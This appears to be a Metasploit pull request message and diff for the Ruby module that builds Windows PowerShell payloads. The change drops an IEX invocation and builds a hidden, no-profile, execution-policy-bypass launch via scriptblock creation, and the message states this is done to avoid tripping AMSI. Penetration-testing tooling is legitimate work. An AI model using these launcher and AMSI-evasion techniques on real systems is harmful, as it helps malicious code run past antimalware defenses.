Address generation issues with pure PSH payloads

Powershell payloads were generating using the :generate method
mixed in from Payload::Windows::Exec which is a binary payload
mixin.

Address the breakage by implementing a generate method which simply
outputs the script code produced by the module with no additional
content prepended or appended.

While here, cleanup the commandline generation for the script being
produced by having Rex do it (this permits changes made in Rex to
benefit all consumers).

As a bonus, drop the IEX invocation since it'll trip up AMSI and
upgrade to the scripblock execution semantic.

Credit for finding this little gem goes to bperry - i dont usually
use the native powershell command shells, and managed to miss this
for a long time. Thanks boss.

Testing:
  Local in pry

@bperry: Could you test and ping me back if this is right?

lib/msf/core/payload/windows/powershell.rb

@@ -44,7 +44,18 @@ module Payload::Windows::Powershell
     script_in.gsub!('LHOST_REPLACE', lhost.to_s)
 
     script = Rex::Powershell::Command.compress_script(script_in)
-    "powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
+    command_args = { 
+        noprofile: true,
+        windowstyle: 'hidden',
+        noninteractive: true,
+        executionpolicy: 'bypass'
+    }
+    cli =  Rex::Powershell::Command.generate_psh_command_line(command_args)
+    return "#{cli} '&([scriptblock]::create(#{script})'"
+  end
+
+  def generate
+    command_string
   end
 end
 end